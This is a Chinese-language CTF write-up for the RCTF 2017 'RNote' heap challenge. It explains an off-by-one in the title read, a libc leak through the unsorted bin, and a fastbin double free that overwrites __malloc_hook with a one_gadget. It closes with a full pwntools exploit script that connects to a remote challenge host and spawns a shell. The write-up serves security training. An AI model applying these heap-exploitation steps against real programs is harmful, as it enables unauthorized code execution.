【XCTF攻防世界】RNote Writeup

@t3ls  August 7, 2019

XCTF攻防世界:RNote

原题:XCTF 3rd-RCTF-2017 RNote

题目链接:https://github.com/t3ls/pwn/tree/master/XCTF-adworld/RNote

原理

程序功能有四个:ADD,DELETE,SHOW,EXIT

一般来说,这类note题只要逆出它的结构体,漏洞就很好找到

总之,一顿操作之后,可以建立一个note的结构体,如下:

00000000 _note           struc ; (sizeof=0x20, mappedto_8)
00000000                                         ; XREF: .bss:NOTE/r
00000000 flag            dd ?
00000004 size            dd ?                    ; XREF: ___new+1A1/o
00000004                                         ; ___show+EE/o
00000008 title           db 16 dup(?)
00000018 content         dq ?                    ; XREF: ___new+F3/o
00000018                                         ; ___delete+5D/o ... ; offset
00000020 _note           ends

一个note占用32个字节,总共可以申请16个。第一个4字节存储对应note是否可用,第二个4字节存储content的大小,接下来的16字节存title,最后的8字节是指向malloc出的content堆块的指针

然后就是漏洞,0x4009c7存在一个off-by-one,可以通过title输入17字节覆盖到content指针的低地址,我们可以用这个漏洞来构造double free,也可以用来泄露堆地址(虽然用不到)

__int64 __fastcall read_title(char *a1, signed int size)
{
  char buf; // [rsp+1Bh] [rbp-5h]
  unsigned int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; (int)i <= size; ++i )
  {                                             // off-by-one
    if ( read(0, &buf, 1uLL) < 0 )
      exit(1);
    a1[i] = buf;
    if ( a1[i] == '\n' )
    {
      a1[i] = 0;
      return i;
    }
  }
  return i;
}

具体利用思路就是 unsortedbin泄露libc => off-by-one 构造 fastbin doublefree => 任意地址写malloc_hook => ojbk

第一步是泄露libc

我们malloc一个smallbin大小的chunk,然后free,就会被放到unsortedbin里面,由于show函数里content的输出是用write函数,所以再malloc回来就可以直接通过fd, bk来泄露libc基址

int __show()
{
  int result; // eax
  size_t v1; // rax
  int idx; // [rsp+Ch] [rbp-4h]

  write(1, "Which Note do you want to show: ", 0x20uLL);
  idx = read_int();
  if ( idx < 0 || idx > 15 )
    return write(1, "Out of bound!\n", 0xEuLL);
  result = NOTE[idx].flag;
  if ( result )
  {
    write(1, "note title: ", 0xCuLL);
    v1 = strlen(NOTE[idx].title);
    write(1, NOTE[idx].title, v1);
    putchar(10);
    write(1, "note content: ", 0xEuLL);
    write(1, NOTE[idx].content, NOTE[idx].size);
    result = putchar(10);
  }
  return result;
}

第二步是构造doublefree

因为我们的堆是刚初始化的,所以可以计算chunk的低地址实现doublefree,这里隔块free是为了绕过doublefree的检查

最后我们把one_gadget写到malloc_hook的位置,再次malloc就能getshell,这里要注意的是fastbin malloc的时候会检查chunk的size位是否合法,否则会报错。所以可以通过偏移0x23字节过掉检查。

exp

from pwn import *
context.update(arch='amd64', log_level='debug')

#p = process('./RNote')
p = remote('111.198.29.45', 39716)
e = ELF('./RNote')
l = ELF('./libc-2.23.so')

def new(size, title, content):
    p.sendlineafter('choice:', '1')
    p.sendlineafter('size', str(size))
    p.sendafter('title', str(title))
    p.sendafter('content', str(content))

def delete(idx):
    p.sendlineafter('choice:', '2')
    p.sendlineafter('delete', str(idx))

def show(idx):
    p.sendlineafter('choice:', '3')
    p.sendlineafter('show', str(idx))
    p.recvuntil('title: ')
    title = p.recvuntil('\n', drop=True)
    p.recvuntil('content: ')
    content = p.recv(16)
    return title, content


if __name__ == '__main__':
    new(0x100, '\x10'*17, 'a\n')
    new(0x10, '\n', '\n') #1
    delete(0)
    new(0x100, '\n', '\n')
    _, leak = show(0)
    l.address = u64(leak[8:16]) - 0x3c4b78
    one = l.address + 0xf1147
    print('libc:',hex(l.address))
    delete(0)
    new(0x60, '\n', '\n')
    new(0x60, '\x10'*17, 'a\n')
    new(0x60, 'a\n', 'a\n')
    delete(0)
    delete(3)
    delete(2)
    new(0x60, '\n', p64(l.symbols['__malloc_hook'] - 0x23))
    new(0x60, '\n', '\n')
    new(0x60, '\n', '\n')
    new(0x60, '\n', '\x00'*3 + p64(one)*3)
    p.sendlineafter('choice', '1')
    p.sendlineafter('size', '1')

    p.interactive()

总结

doublefree,fastbin attack


添加新评论